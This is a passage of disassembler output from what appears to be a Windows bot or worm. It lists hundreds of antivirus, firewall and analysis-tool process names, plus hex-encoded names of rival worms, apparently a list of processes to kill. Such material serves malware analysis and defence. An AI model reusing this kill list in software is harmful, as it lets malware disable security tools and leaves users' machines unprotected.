		dd offset aWatchdog_exe	; "WATCHDOG.EXE"
		dd offset aWebdav_exe	; "WEBDAV.EXE"
		dd offset aWebscanx_exe	; "WEBSCANX.EXE"
		dd offset aWebtrap_exe	; "WEBTRAP.EXE"
		dd offset aWfindv32_exe	; "WFINDV32.EXE"
		dd offset aWgfe95_exe	; "WGFE95.EXE"
		dd offset aWhoswatchingme ; "WHOSWATCHINGME.EXE"
		dd offset aWimmun32_exe	; "WIMMUN32.EXE"
		dd offset aWinBugsfix_exe ; "WIN-BUGSFIX.EXE"
		dd offset aWin32_exe	; "WIN32.EXE"
		dd offset aWin32us_exe	; "WIN32US.EXE"
		dd offset aWinactive_exe ; "WINACTIVE.EXE"
		dd offset aWindow_exe	; "WINDOW.EXE"
		dd offset aWindows_exe	; "WINDOWS.EXE"
		dd offset aWininetd_exe	; "WININETD.EXE"
		dd offset aWininit_exe	; "WININIT.EXE"
		dd offset aWininitx_exe	; "WININITX.EXE"
		dd offset aWinlogin_exe	; "WINLOGIN.EXE"
		dd offset aWinmain_exe	; "WINMAIN.EXE"
		dd offset aWinnet_exe	; "WINNET.EXE"
		dd offset aWinppr32_exe	; "WINPPR32.EXE"
		dd offset aWinrecon_exe	; "WINRECON.EXE"
		dd offset aWinservn_exe	; "WINSERVN.EXE"
		dd offset aWinssk32_exe	; "WINSSK32.EXE"
		dd offset aWinstart_exe	; "WINSTART.EXE"
		dd offset aWinstart001_ex ; "WINSTART001.EXE"
		dd offset aWintsk32_exe	; "WINTSK32.EXE"
		dd offset aWinupdate_exe ; "WINUPDATE.EXE"
		dd offset aWkufind_exe	; "WKUFIND.EXE"
		dd offset aWnad_exe	; "WNAD.EXE"
		dd offset aWnt_exe	; "WNT.EXE"
		dd offset aWradmin_exe	; "WRADMIN.EXE"
		dd offset aWrctrl_exe	; "WRCTRL.EXE"
		dd offset aWsbgate_exe	; "WSBGATE.EXE"
		dd offset aWupdater_exe	; "WUPDATER.EXE"
		dd offset aWupdt_exe	; "WUPDT.EXE"
		dd offset aWyvernworksfir ; "WYVERNWORKSFIREWALL.EXE"
		dd offset aXpf202en_exe	; "XPF202EN.EXE"
		dd offset aZapro_exe	; "ZAPRO.EXE"
		dd offset aZapsetup3001_e ; "ZAPSETUP3001.EXE"
		dd offset aZatutor_exe	; "ZATUTOR.EXE"
		dd offset aZonalm2601_exe ; "ZONALM2601.EXE"
		dd offset aZonealarm_exe ; "ZONEALARM.EXE"
		dd offset a_avp32_exe	; "_AVP32.EXE"
		dd offset a_avpcc_exe	; "_AVPCC.EXE"
		dd offset a_avpm_exe	; "_AVPM.EXE"
		dd offset aHijackthis_exe ; "HIJACKTHIS.EXE"
		dd offset aFAgobot_exe	; "F-AGOBOT.EXE"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_438C9C
		dd offset dword_438C90
		dd offset dword_438C84
		dd offset dword_438C78
		dd offset dword_438C68
		dd offset dword_438C5C
		dd offset dword_438C50
		dd offset dword_438C44
		dd offset dword_438C38
		dd offset dword_438C28
		dd offset dword_438C1C
		dd offset dword_438C0C
dword_438C0C	dd 72313169h, 346E3435h, 6578652Eh, 0					; ___:00438C08o
dword_438C1C	dd 6E757269h, 78652E34h, 65hdword_438C28	dd 75643364h, 74616470h, 78652E65h, 65hdword_438C38	dd 65746172h, 6578652Eh, 0dword_438C44	dd 74617373h, 78652E65h, 65hdword_438C50	dd 736E6977h, 652E7379h, 6578hdword_438C5C	dd 756E6977h, 652E6470h, 6578hdword_438C68	dd 4D737953h, 50586E6Fh, 6578652Eh, 0dword_438C78	dd 61656262h, 2E656C67h, 657865hdword_438C84	dd 696E6550h, 2E323373h, 657865hdword_438C90	dd 7663736Dh, 2E323362h, 657865hdword_438C9C	dd 69737973h, 2E6F666Eh, 657865haPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:00438BD8o
		align 4
aFAgobot_exe	db 'F-AGOBOT.EXE',0     ; DATA XREF: ___:00438BD4o
		align 4
aHijackthis_exe	db 'HIJACKTHIS.EXE',0   ; DATA XREF: ___:00438BD0o
		align 4
a_avpm_exe	db '_AVPM.EXE',0        ; DATA XREF: ___:00438BCCo
		align 4
a_avpcc_exe	db '_AVPCC.EXE',0       ; DATA XREF: ___:00438BC8o
		align 4
a_avp32_exe	db '_AVP32.EXE',0       ; DATA XREF: ___:00438BC4o
		align 10h
aZonealarm_exe	db 'ZONEALARM.EXE',0    ; DATA XREF: ___:00438BC0o
		align 10h
aZonalm2601_exe	db 'ZONALM2601.EXE',0   ; DATA XREF: ___:00438BBCo
		align 10h
aZatutor_exe	db 'ZATUTOR.EXE',0      ; DATA XREF: ___:00438BB8o
aZapsetup3001_e	db 'ZAPSETUP3001.EXE',0 ; DATA XREF: ___:00438BB4o
		align 10h
aZapro_exe	db 'ZAPRO.EXE',0        ; DATA XREF: ___:00438BB0o
		align 4
aXpf202en_exe	db 'XPF202EN.EXE',0     ; DATA XREF: ___:00438BACo
		align 4
aWyvernworksfir	db 'WYVERNWORKSFIREWALL.EXE',0 ; DATA XREF: ___:00438BA8o
aWupdt_exe	db 'WUPDT.EXE',0        ; DATA XREF: ___:00438BA4o
		align 10h
aWupdater_exe	db 'WUPDATER.EXE',0     ; DATA XREF: ___:00438BA0o
		align 10h
aWsbgate_exe	db 'WSBGATE.EXE',0      ; DATA XREF: ___:00438B9Co
aWrctrl_exe	db 'WRCTRL.EXE',0       ; DATA XREF: ___:00438B98o
		align 4
aWradmin_exe	db 'WRADMIN.EXE',0      ; DATA XREF: ___:00438B94o
aWnt_exe	db 'WNT.EXE',0          ; DATA XREF: ___:00438B90o
aWnad_exe	db 'WNAD.EXE',0         ; DATA XREF: ___:00438B8Co
		align 4
aWkufind_exe	db 'WKUFIND.EXE',0      ; DATA XREF: ___:00438B88o
aWinupdate_exe	db 'WINUPDATE.EXE',0    ; DATA XREF: ___:00438B84o
		align 4
aWintsk32_exe	db 'WINTSK32.EXE',0     ; DATA XREF: ___:00438B80o
		align 4
aWinstart001_ex	db 'WINSTART001.EXE',0  ; DATA XREF: ___:00438B7Co
aWinstart_exe	db 'WINSTART.EXE',0     ; DATA XREF: ___:00438B78o
		align 4
aWinssk32_exe	db 'WINSSK32.EXE',0     ; DATA XREF: ___:00438B74o
		align 4
aWinservn_exe	db 'WINSERVN.EXE',0     ; DATA XREF: ___:00438B70o
		align 4
aWinrecon_exe	db 'WINRECON.EXE',0     ; DATA XREF: ___:00438B6Co
		align 4
aWinppr32_exe	db 'WINPPR32.EXE',0     ; DATA XREF: ___:00438B68o
		align 4
aWinnet_exe	db 'WINNET.EXE',0       ; DATA XREF: ___:00438B64o
		align 10h
aWinmain_exe	db 'WINMAIN.EXE',0      ; DATA XREF: ___:00438B60o
aWinlogin_exe	db 'WINLOGIN.EXE',0     ; DATA XREF: ___:00438B5Co
		align 4
aWininitx_exe	db 'WININITX.EXE',0     ; DATA XREF: ___:00438B58o
		align 4
aWininit_exe	db 'WININIT.EXE',0      ; DATA XREF: ___:00438B54o
aWininetd_exe	db 'WININETD.EXE',0     ; DATA XREF: ___:00438B50o
		align 4
aWindows_exe	db 'WINDOWS.EXE',0      ; DATA XREF: ___:00438B4Co
aWindow_exe	db 'WINDOW.EXE',0       ; DATA XREF: ___:00438B48o
		align 10h
aWinactive_exe	db 'WINACTIVE.EXE',0    ; DATA XREF: ___:00438B44o
		align 10h
aWin32us_exe	db 'WIN32US.EXE',0      ; DATA XREF: ___:00438B40o
aWin32_exe	db 'WIN32.EXE',0        ; DATA XREF: ___:00438B3Co
		align 4
aWinBugsfix_exe	db 'WIN-BUGSFIX.EXE',0  ; DATA XREF: ___:00438B38o
aWimmun32_exe	db 'WIMMUN32.EXE',0     ; DATA XREF: ___:00438B34o
		align 4
aWhoswatchingme	db 'WHOSWATCHINGME.EXE',0 ; DATA XREF: ___:00438B30o
		align 4
aWgfe95_exe	db 'WGFE95.EXE',0       ; DATA XREF: ___:00438B2Co
		align 4
aWfindv32_exe	db 'WFINDV32.EXE',0     ; DATA XREF: ___:00438B28o
		align 4
aWebtrap_exe	db 'WEBTRAP.EXE',0      ; DATA XREF: ___:00438B24o
aWebscanx_exe	db 'WEBSCANX.EXE',0     ; DATA XREF: ___:00438B20o
		align 4
aWebdav_exe	db 'WEBDAV.EXE',0       ; DATA XREF: ___:00438B1Co
		align 10h
aWatchdog_exe	db 'WATCHDOG.EXE',0     ; DATA XREF: ___:00438B18o
		align 10h
aW9x_exe	db 'W9X.EXE',0          ; DATA XREF: ___:00438B14o
aW32dsm89_exe	db 'W32DSM89.EXE',0     ; DATA XREF: ___:00438B10o
		align 4
aVswinperse_exe	db 'VSWINPERSE.EXE',0   ; DATA XREF: ___:00438B0Co
		align 4
aVswinntse_exe	db 'VSWINNTSE.EXE',0    ; DATA XREF: ___:00438B08o
		align 4
aVswin9xe_exe	db 'VSWIN9XE.EXE',0     ; DATA XREF: ___:00438B04o
		align 4
aVsstat_exe	db 'VSSTAT.EXE',0       ; DATA XREF: ___:00438B00o
		align 4
aVsmon_exe	db 'VSMON.EXE',0        ; DATA XREF: ___:00438AFCo
		align 10h
aVsmain_exe	db 'VSMAIN.EXE',0       ; DATA XREF: ___:00438AF8o
		align 4
aVsisetup_exe	db 'VSISETUP.EXE',0     ; DATA XREF: ___:00438AF4o
		align 4
aVshwin32_exe	db 'VSHWIN32.EXE',0     ; DATA XREF: ___:00438AF0o
		align 4
aVsecomr_exe	db 'VSECOMR.EXE',0      ; DATA XREF: ___:00438AECo
aVsched_exe	db 'VSCHED.EXE',0       ; DATA XREF: ___:00438AE8o
		align 4
aVscenu6_02d30_	db 'VSCENU6.02D30.EXE',0 ; DATA XREF: ___:00438AE4o
		align 4
aVscan40_exe	db 'VSCAN40.EXE',0      ; DATA XREF: ___:00438AE0o
aVptray_exe	db 'VPTRAY.EXE',0       ; DATA XREF: ___:00438ADCo
		align 10h
aVpfw30s_exe	db 'VPFW30S.EXE',0      ; DATA XREF: ___:00438AD8o
aVpc42_exe	db 'VPC42.EXE',0        ; DATA XREF: ___:00438AD4o
		align 4
aVpc32_exe	db 'VPC32.EXE',0        ; DATA XREF: ___:00438AD0o
		align 4
aVnpc3000_exe	db 'VNPC3000.EXE',0     ; DATA XREF: ___:00438ACCo
		align 4
aVnlan300_exe	db 'VNLAN300.EXE',0     ; DATA XREF: ___:00438AC8o
		align 4
aVirusmdpersona	db 'VIRUSMDPERSONALFIREWALL.EXE',0 ; DATA XREF: ___:00438AC4o
aVirHelp_exe	db 'VIR-HELP.EXE',0     ; DATA XREF: ___:00438AC0o
		align 10h
aVfsetup_exe	db 'VFSETUP.EXE',0      ; DATA XREF: ___:00438ABCo
aVettray_exe	db 'VETTRAY.EXE',0      ; DATA XREF: ___:00438AB8o
aVet95_exe	db 'VET95.EXE',0        ; DATA XREF: ___:00438AB4o
		align 4
aVet32_exe	db 'VET32.EXE',0        ; DATA XREF: ___:00438AB0o
		align 10h
aVcsetup_exe	db 'VCSETUP.EXE',0      ; DATA XREF: ___:00438AACo
aVbwinntw_exe	db 'VBWINNTW.EXE',0     ; DATA XREF: ___:00438AA8o
		align 4
aVbwin9x_exe	db 'VBWIN9X.EXE',0      ; DATA XREF: ___:00438AA4o
aVbust_exe	db 'VBUST.EXE',0        ; DATA XREF: ___:00438AA0o
		align 4
aVbcons_exe	db 'VBCONS.EXE',0       ; DATA XREF: ___:00438A9Co
		align 10h
aVbcmserv_exe	db 'VBCMSERV.EXE',0     ; DATA XREF: ___:00438A98o
		align 10h
aUtpost_exe	db 'UTPOST.EXE',0       ; DATA XREF: ___:00438A94o
		align 4
aUpgrad_exe	db 'UPGRAD.EXE',0       ; DATA XREF: ___:00438A90o
		align 4
aUpdate_exe	db 'UPDATE.EXE',0       ; DATA XREF: ___:00438A88o
					; ___:00438A8Co
		align 4
aUpdat_exe	db 'UPDAT.EXE',0        ; DATA XREF: ___:00438A84o
		align 10h
aUndoboot_exe	db 'UNDOBOOT.EXE',0     ; DATA XREF: ___:00438A80o
		align 10h
aTvtmd_exe	db 'TVTMD.EXE',0        ; DATA XREF: ___:00438A7Co
		align 4
aTvmd_exe	db 'TVMD.EXE',0         ; DATA XREF: ___:00438A78o
		align 4
aTsadbot_exe	db 'TSADBOT.EXE',0      ; DATA XREF: ___:00438A74o
aTrojantrap3_ex	db 'TROJANTRAP3.EXE',0  ; DATA XREF: ___:00438A70o
aTrjsetup_exe	db 'TRJSETUP.EXE',0     ; DATA XREF: ___:00438A6Co
		align 4
aTrjscan_exe	db 'TRJSCAN.EXE',0      ; DATA XREF: ___:00438A68o
aTrickler_exe	db 'TRICKLER.EXE',0     ; DATA XREF: ___:00438A64o
		align 10h
aTracert_exe	db 'TRACERT.EXE',0      ; DATA XREF: ___:00438A60o
aTitaninxp_exe	db 'TITANINXP.EXE',0    ; DATA XREF: ___:00438A5Co
		align 4
aTitanin_exe	db 'TITANIN.EXE',0      ; DATA XREF: ___:00438A58o
aTgbob_exe	db 'TGBOB.EXE',0        ; DATA XREF: ___:00438A54o
		align 4
aTfak5_exe	db 'TFAK5.EXE',0        ; DATA XREF: ___:00438A50o
		align 10h
aTfak_exe	db 'TFAK.EXE',0         ; DATA XREF: ___:00438A4Co
		align 4
aTeekids_exe	db 'TEEKIDS.EXE',0      ; DATA XREF: ___:00438A48o
aTds2Nt_exe	db 'TDS2-NT.EXE',0      ; DATA XREF: ___:00438A44o
aTds298_exe	db 'TDS2-98.EXE',0      ; DATA XREF: ___:00438A40o
aTds3_exe	db 'TDS-3.EXE',0        ; DATA XREF: ___:00438A3Co
		align 4
aTcm_exe	db 'TCM.EXE',0          ; DATA XREF: ___:00438A38o
aTca_exe	db 'TCA.EXE',0          ; DATA XREF: ___:00438A34o
aTc_exe		db 'TC.EXE',0           ; DATA XREF: ___:00438A30o
		align 4
aTbscan_exe	db 'TBSCAN.EXE',0       ; DATA XREF: ___:00438A2Co
		align 10h
aTaumon_exe	db 'TAUMON.EXE',0       ; DATA XREF: ___:00438A28o
		align 4
aTaskmon_exe	db 'TASKMON.EXE',0      ; DATA XREF: ___:00438A24o
aTaskmo_exe	db 'TASKMO.EXE',0       ; DATA XREF: ___:00438A20o
		align 4
aTaskmg_exe	db 'TASKMG.EXE',0       ; DATA XREF: ___:00438A1Co
		align 10h
aSysupd_exe	db 'SYSUPD.EXE',0       ; DATA XREF: ___:00438A18o
		align 4
aSystem32_exe	db 'SYSTEM32.EXE',0     ; DATA XREF: ___:00438A14o
		align 4
aSystem_exe	db 'SYSTEM.EXE',0       ; DATA XREF: ___:00438A10o
		align 4
aSysedit_exe	db 'SYSEDIT.EXE',0      ; DATA XREF: ___:00438A0Co
aSymtray_exe	db 'SYMTRAY.EXE',0      ; DATA XREF: ___:00438A08o
aSymproxysvc_ex	db 'SYMPROXYSVC.EXE',0  ; DATA XREF: ___:00438A04o
aSweepnet_sweep	db 'SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE',0 ; DATA XREF: ___:00438A00o
		align 4
aSweep95_exe	db 'SWEEP95.EXE',0      ; DATA XREF: ___:004389FCo
aSvshost_exe	db 'SVSHOST.EXE',0      ; DATA XREF: ___:004389F8o
aSvchosts_exe	db 'SVCHOSTS.EXE',0     ; DATA XREF: ___:004389F4o
		align 4
aSvchostc_exe	db 'SVCHOSTC.EXE',0     ; DATA XREF: ___:004389F0o
		align 4
aSvc_exe	db 'SVC.EXE',0          ; DATA XREF: ___:004389ECo
aSupporter5_exe	db 'SUPPORTER5.EXE',0   ; DATA XREF: ___:004389E8o
		align 4
aSupport_exe	db 'SUPPORT.EXE',0      ; DATA XREF: ___:004389E4o
aSupftrl_exe	db 'SUPFTRL.EXE',0      ; DATA XREF: ___:004389E0o
aStcloader_exe	db 'STCLOADER.EXE',0    ; DATA XREF: ___:004389DCo
		align 4
aStart_exe	db 'START.EXE',0        ; DATA XREF: ___:004389D8o
		align 4
aSt2_exe	db 'ST2.EXE',0          ; DATA XREF: ___:004389D4o
aSsg_4104_exe	db 'SSG_4104.EXE',0     ; DATA XREF: ___:004389D0o
		align 10h
aSsgrate_exe	db 'SSGRATE.EXE',0      ; DATA XREF: ___:004389CCo
aSs3edit_exe	db 'SS3EDIT.EXE',0      ; DATA XREF: ___:004389C8o
aSrng_exe	db 'SRNG.EXE',0         ; DATA XREF: ___:004389C4o
		align 4
aSrexe_exe	db 'SREXE.EXE',0        ; DATA XREF: ___:004389C0o
		align 10h
aSpyxx_exe	db 'SPYXX.EXE',0        ; DATA XREF: ___:004389BCo
		align 4
aSpoolsv32_exe	db 'SPOOLSV32.EXE',0    ; DATA XREF: ___:004389B8o
		align 4
aSpoolcv_exe	db 'SPOOLCV.EXE',0      ; DATA XREF: ___:004389B4o
aSpoler_exe	db 'SPOLER.EXE',0       ; DATA XREF: ___:004389B0o
		align 4
aSphinx_exe	db 'SPHINX.EXE',0       ; DATA XREF: ___:004389ACo
		align 10h
aSpf_exe	db 'SPF.EXE',0          ; DATA XREF: ___:004389A8o
aSperm_exe	db 'SPERM.EXE',0        ; DATA XREF: ___:004389A4o
		align 4
aSofi_exe	db 'SOFI.EXE',0         ; DATA XREF: ___:004389A0o
		align 10h
aSoap_exe	db 'SOAP.EXE',0         ; DATA XREF: ___:0043899Co
		align 4
aSmss32_exe	db 'SMSS32.EXE',0       ; DATA XREF: ___:00438998o
		align 4
aSms_exe	db 'SMS.EXE',0          ; DATA XREF: ___:00438994o
aSmc_exe	db 'SMC.EXE',0          ; DATA XREF: ___:00438990o
aShowbehind_exe	db 'SHOWBEHIND.EXE',0   ; DATA XREF: ___:0043898Co
		align 4
aShn_exe	db 'SHN.EXE',0          ; DATA XREF: ___:00438988o
aShellspyinstal	db 'SHELLSPYINSTALL.EXE',0 ; DATA XREF: ___:00438984o
aSh_exe		db 'SH.EXE',0           ; DATA XREF: ___:00438980o
		align 4
aSgssfw32_exe	db 'SGSSFW32.EXE',0     ; DATA XREF: ___:0043897Co
		align 4
aSfc_exe	db 'SFC.EXE',0          ; DATA XREF: ___:00438978o
aSetup_flowprot	db 'SETUP_FLOWPROTECTOR_US.EXE',0 ; DATA XREF: ___:00438974o
		align 10h
aSetupvameeval_	db 'SETUPVAMEEVAL.EXE',0 ; DATA XREF: ___:00438970o
		align 4
aServlces_exe	db 'SERVLCES.EXE',0     ; DATA XREF: ___:0043896Co
		align 4
aServlce_exe	db 'SERVLCE.EXE',0      ; DATA XREF: ___:00438968o
aService_exe	db 'SERVICE.EXE',0      ; DATA XREF: ___:00438964o
aServ95_exe	db 'SERV95.EXE',0       ; DATA XREF: ___:00438960o
		align 4
aSd_exe		db 'SD.EXE',0           ; DATA XREF: ___:0043895Co
		align 10h
aScvhost_exe	db 'SCVHOST.EXE',0      ; DATA XREF: ___:00438958o
aScrsvr_exe	db 'SCRSVR.EXE',0       ; DATA XREF: ___:00438954o
		align 4
aScrscan_exe	db 'SCRSCAN.EXE',0      ; DATA XREF: ___:00438950o
aScanpm_exe	db 'SCANPM.EXE',0       ; DATA XREF: ___:0043894Co
		align 10h
aScan95_exe	db 'SCAN95.EXE',0       ; DATA XREF: ___:00438948o
		align 4
aScan32_exe	db 'SCAN32.EXE',0       ; DATA XREF: ___:00438944o
		align 4
aScam32_exe	db 'SCAM32.EXE',0       ; DATA XREF: ___:00438940o
		align 4
aSc_exe		db 'SC.EXE',0           ; DATA XREF: ___:0043893Co
		align 4
aSbserv_exe	db 'SBSERV.EXE',0       ; DATA XREF: ___:00438938o
		align 4
aSavenow_exe	db 'SAVENOW.EXE',0      ; DATA XREF: ___:00438934o
aSave_exe	db 'SAVE.EXE',0         ; DATA XREF: ___:00438930o
		align 10h
aSahagent_exe	db 'SAHAGENT.EXE',0     ; DATA XREF: ___:0043892Co
		align 10h
aSafeweb_exe	db 'SAFEWEB.EXE',0      ; DATA XREF: ___:00438928o
aRuxdll32_exe	db 'RUXDLL32.EXE',0     ; DATA XREF: ___:00438924o
		align 4
aRundll16_exe	db 'RUNDLL16.EXE',0     ; DATA XREF: ___:00438920o
		align 4
aRundll_exe	db 'RUNDLL.EXE',0       ; DATA XREF: ___:0043891Co
		align 4
aRun32dll_exe	db 'RUN32DLL.EXE',0     ; DATA XREF: ___:00438918o
		align 4
aRulaunch_exe	db 'RULAUNCH.EXE',0     ; DATA XREF: ___:00438914o
		align 4
aRtvscn95_exe	db 'RTVSCN95.EXE',0     ; DATA XREF: ___:00438910o
		align 4
aRtvscan_exe	db 'RTVSCAN.EXE',0      ; DATA XREF: ___:0043890Co
aRshell_exe	db 'RSHELL.EXE',0       ; DATA XREF: ___:00438908o
		align 10h
aRrguard_exe	db 'RRGUARD.EXE',0      ; DATA XREF: ___:00438904o
aRescue32_exe	db 'RESCUE32.EXE',0     ; DATA XREF: ___:00438900o
		align 4
aRescue_exe	db 'RESCUE.EXE',0       ; DATA XREF: ___:004388FCo
		align 4
aRegedt32_exe	db 'REGEDT32.EXE',0     ; DATA XREF: ___:004388F8o
		align 4
aRegedit_exe	db 'REGEDIT.EXE',0      ; DATA XREF: ___:004388F4o
aReged_exe	db 'REGED.EXE',0        ; DATA XREF: ___:004388F0o
		align 10h
aRealmon_exe	db 'REALMON.EXE',0      ; DATA XREF: ___:004388ECo
aRcsync_exe	db 'RCSYNC.EXE',0       ; DATA XREF: ___:004388E8o
		align 4
aRb32_exe	db 'RB32.EXE',0         ; DATA XREF: ___:004388E4o
		align 4
aRay_exe	db 'RAY.EXE',0          ; DATA XREF: ___:004388E0o
aRav8win32eng_e	db 'RAV8WIN32ENG.EXE',0 ; DATA XREF: ___:004388DCo
		align 10h
aRav7win_exe	db 'RAV7WIN.EXE',0      ; DATA XREF: ___:004388D8o
aRav7_exe	db 'RAV7.EXE',0         ; DATA XREF: ___:004388D4o
		align 4
aRapapp_exe	db 'RAPAPP.EXE',0       ; DATA XREF: ___:004388D0o
		align 4
aQserver_exe	db 'QSERVER.EXE',0      ; DATA XREF: ___:004388CCo
aQconsole_exe	db 'QCONSOLE.EXE',0     ; DATA XREF: ___:004388C8o
		align 10h
aPview95_exe	db 'PVIEW95.EXE',0      ; DATA XREF: ___:004388C4o
aPussy_exe	db 'PUSSY.EXE',0        ; DATA XREF: ___:004388C0o
		align 4
aPurge_exe	db 'PURGE.EXE',0        ; DATA XREF: ___:004388BCo
		align 4
aPspf_exe	db 'PSPF.EXE',0         ; DATA XREF: ___:004388B8o
		align 10h
aProtectx_exe	db 'PROTECTX.EXE',0     ; DATA XREF: ___:004388B4o
		align 10h
aProport_exe	db 'PROPORT.EXE',0      ; DATA XREF: ___:004388B0o
aProgramauditor	db 'PROGRAMAUDITOR.EXE',0 ; DATA XREF: ___:004388ACo
		align 10h
aProcexplorerv1	db 'PROCEXPLORERV1.0.EXE',0 ; DATA XREF: ___:004388A8o
		align 4
aProcessmonitor	db 'PROCESSMONITOR.EXE',0 ; DATA XREF: ___:004388A4o
		align 4
aProcdump_exe	db 'PROCDUMP.EXE',0     ; DATA XREF: ___:004388A0o
		align 4
aPrmvr_exe	db 'PRMVR.EXE',0        ; DATA XREF: ___:0043889Co
		align 4
aPrmt_exe	db 'PRMT.EXE',0         ; DATA XREF: ___:00438898o
		align 4
aPrizesurfer_ex	db 'PRIZESURFER.EXE',0  ; DATA XREF: ___:00438894o
aPpvstop_exe	db 'PPVSTOP.EXE',0      ; DATA XREF: ___:00438890o
aPptbc_exe	db 'PPTBC.EXE',0        ; DATA XREF: ___:0043888Co
		align 4
aPpinupdt_exe	db 'PPINUPDT.EXE',0     ; DATA XREF: ___:00438888o
		align 4
aPowerscan_exe	db 'POWERSCAN.EXE',0    ; DATA XREF: ___:00438884o
		align 4
aPortmonitor_ex	db 'PORTMONITOR.EXE',0  ; DATA XREF: ___:00438880o
aPortdetective_	db 'PORTDETECTIVE.EXE',0 ; DATA XREF: ___:0043887Co
		align 10h
aPopscan_exe	db 'POPSCAN.EXE',0      ; DATA XREF: ___:00438878o
aPoproxy_exe	db 'POPROXY.EXE',0      ; DATA XREF: ___:00438874o
aPop3trap_exe	db 'POP3TRAP.EXE',0     ; DATA XREF: ___:00438870o
		align 4
aPlatin_exe	db 'PLATIN.EXE',0       ; DATA XREF: ___:0043886Co
		align 4
aPingscan_exe	db 'PINGSCAN.EXE',0     ; DATA XREF: ___:00438868o
		align 4
aPgmonitr_exe	db 'PGMONITR.EXE',0     ; DATA XREF: ___:00438864o
		align 4
aPfwadmin_exe	db 'PFWADMIN.EXE',0     ; DATA XREF: ___:00438860o
		align 4
aPf2_exe	db 'PF2.EXE',0          ; DATA XREF: ___:0043885Co
aPerswf_exe	db 'PERSWF.EXE',0       ; DATA XREF: ___:00438858o
		align 4
aPersfw_exe	db 'PERSFW.EXE',0       ; DATA XREF: ___:00438854o
		align 4
aPeriscope_exe	db 'PERISCOPE.EXE',0    ; DATA XREF: ___:00438850o
		align 4
aPenis_exe	db 'PENIS.EXE',0        ; DATA XREF: ___:0043884Co
		align 10h
aPdsetup_exe	db 'PDSETUP.EXE',0      ; DATA XREF: ___:00438848o
aPcscan_exe	db 'PCSCAN.EXE',0       ; DATA XREF: ___:00438844o
		align 4
aPcip10117_0_ex	db 'PCIP10117_0.EXE',0  ; DATA XREF: ___:00438840o
aPcfwallicon_ex	db 'PCFWALLICON.EXE',0  ; DATA XREF: ___:0043883Co
aPcdsetup_exe	db 'PCDSETUP.EXE',0     ; DATA XREF: ___:00438838o
		align 4
aPccwin98_exe	db 'PCCWIN98.EXE',0     ; DATA XREF: ___:00438834o
		align 4
aPccwin97_exe	db 'PCCWIN97.EXE',0     ; DATA XREF: ___:00438830o
		align 4
aPccntmon_exe	db 'PCCNTMON.EXE',0     ; DATA XREF: ___:0043882Co
		align 4
aPcciomon_exe	db 'PCCIOMON.EXE',0     ; DATA XREF: ___:00438828o
		align 4
aPcc2k_76_1436_	db 'PCC2K_76_1436.EXE',0 ; DATA XREF: ___:00438824o
		align 4
aPcc2002s902_ex	db 'PCC2002S902.EXE',0  ; DATA XREF: ___:00438820o
aPavw_exe	db 'PAVW.EXE',0         ; DATA XREF: ___:0043881Co
		align 4
aPavsched_exe	db 'PAVSCHED.EXE',0     ; DATA XREF: ___:00438818o
		align 4
aPavproxy_exe	db 'PAVPROXY.EXE',0     ; DATA XREF: ___:00438814o
		align 4
aPavcl_exe	db 'PAVCL.EXE',0        ; DATA XREF: ___:00438810o
		align 4
aPatch_exe	db 'PATCH.EXE',0        ; DATA XREF: ___:0043880Co
		align 10h
aPanixk_exe	db 'PANIXK.EXE',0       ; DATA XREF: ___:00438808o
		align 4
aPadmin_exe	db 'PADMIN.EXE',0       ; DATA XREF: ___:00438804o
		align 4
aOutpostproinst	db 'OUTPOSTPROINSTALL.EXE',0 ; DATA XREF: ___:00438800o
		align 10h
aOutpostinstall	db 'OUTPOSTINSTALL.EXE',0 ; DATA XREF: ___:004387FCo
		align 4
aOutpost_exe	db 'OUTPOST.EXE',0      ; DATA XREF: ___:004387F4o
					; ___:004387F8o
aOtfix_exe	db 'OTFIX.EXE',0        ; DATA XREF: ___:004387F0o
		align 4
aOstronet_exe	db 'OSTRONET.EXE',0     ; DATA XREF: ___:004387ECo
		align 4
aOptimize_exe	db 'OPTIMIZE.EXE',0     ; DATA XREF: ___:004387E8o
		align 4
aOnsrvr_exe	db 'ONSRVR.EXE',0       ; DATA XREF: ___:004387E4o
		align 4
aOllydbg_exe	db 'OLLYDBG.EXE',0      ; DATA XREF: ___:004387E0o
aNwtool16_exe	db 'NWTOOL16.EXE',0     ; DATA XREF: ___:004387DCo
		align 4
aNwservice_exe	db 'NWSERVICE.EXE',0    ; DATA XREF: ___:004387D8o
		align 4
aNwinst4_exe	db 'NWINST4.EXE',0      ; DATA XREF: ___:004387D4o
aNvsvc32_exe	db 'NVSVC32.EXE',0      ; DATA XREF: ___:004387D0o
aNvc95_exe	db 'NVC95.EXE',0        ; DATA XREF: ___:004387CCo
		align 4
aNvarch16_exe	db 'NVARCH16.EXE',0     ; DATA XREF: ___:004387C8o
		align 4
aNupgrade_exe	db 'NUPGRADE.EXE',0     ; DATA XREF: ___:004387C0o
					; ___:004387C4o
		align 4
aNui_exe	db 'NUI.EXE',0          ; DATA XREF: ___:004387BCo
aNtxconfig_exe	db 'NTXconfig.EXE',0    ; DATA XREF: ___:004387B8o
		align 10h
aNtvdm_exe	db 'NTVDM.EXE',0        ; DATA XREF: ___:004387B4o
		align 4
aNtrtscan_exe	db 'NTRTSCAN.EXE',0     ; DATA XREF: ___:004387B0o
		align 4
aNt_exe		db 'NT.EXE',0           ; DATA XREF: ___:004387ACo
		align 4
aNsupdate_exe	db 'NSUPDATE.EXE',0     ; DATA XREF: ___:004387A8o
		align 4
aNstask32_exe	db 'NSTASK32.EXE',0     ; DATA XREF: ___:004387A4o
		align 4
aNssys32_exe	db 'NSSYS32.EXE',0      ; DATA XREF: ___:004387A0o
aNsched32_exe	db 'NSCHED32.EXE',0     ; DATA XREF: ___:0043879Co
		align 10h
aNpssvc_exe	db 'NPSSVC.EXE',0       ; DATA XREF: ___:00438798o
		align 4
aNpscheck_exe	db 'NPSCHECK.EXE',0     ; DATA XREF: ___:00438794o
		align 4
aNprotect_exe	db 'NPROTECT.EXE',0     ; DATA XREF: ___:00438790o
		align 4
aNpfmessenger_e	db 'NPFMESSENGER.EXE',0 ; DATA XREF: ___:0043878Co
		align 10h
aNpf40_tw_98_nt	db 'NPF40_TW_98_NT_ME_2K.EXE',0 ; DATA XREF: ___:00438788o
		align 4
aNotstart_exe	db 'NOTSTART.EXE',0     ; DATA XREF: ___:00438784o
		align 4
aNorton_interne	db 'NORTON_INTERNET_SECU_3.0_407.EXE',0 ; DATA XREF: ___:00438780o
		align 10h
